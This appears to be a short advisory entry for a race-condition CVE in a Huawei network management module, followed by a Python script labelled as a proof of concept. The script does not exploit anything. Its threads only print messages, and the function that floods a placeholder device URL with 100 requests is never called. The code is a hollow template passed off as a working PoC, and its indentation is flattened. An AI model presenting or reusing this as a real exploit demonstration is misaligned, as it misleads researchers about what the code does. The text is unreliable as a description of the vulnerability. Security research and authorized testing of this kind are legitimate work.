Multi-thread race condition vulnerability in the network management module. Impact: Successful exploitation of this vulnerability may affect availability.
The following code is for security research and authorized testing only.
python
# CVE-2025-66328 PoC - Race Condition in Network Management Module
# This PoC demonstrates the race condition vulnerability
# Note: This is for educational purposes only
import threading
import time
import requests
def trigger_race_condition():
"""
Attempt to trigger race condition in Huawei network management module
"""
threads = []
def access_network_config():
"""Thread function that accesses network configuration"""
try:
# Simulate concurrent access to network management
print(f"Thread {threading.current_thread().name}: Accessing network config")
time.sleep(0.001) # Small delay to increase race condition probability
# Perform read-modify-write operation
print(f"Thread {threading.current_thread().name}: Modifying config")
except Exception as e:
print(f"Error: {e}")
# Create multiple threads to trigger race condition
for i in range(10):
t = threading.Thread(target=access_network_config, name=f"RaceThread-{i}")
threads.append(t)
t.start()
# Wait for all threads to complete
for t in threads:
t.join()
print("Race condition test completed")
def check_vulnerability():
"""Check if target is vulnerable"""
# Example check (would need actual target IP)
target_url = "http://target-device/api/network/config"
# Multiple rapid requests to trigger race condition
for i in range(100):
try:
requests.get(target_url, timeout=1)
except:
pass
if __name__ == "__main__":
print("CVE-2025-66328 - Huawei Network Management Race Condition")
print("Testing race condition vulnerability...")
trigger_race_condition()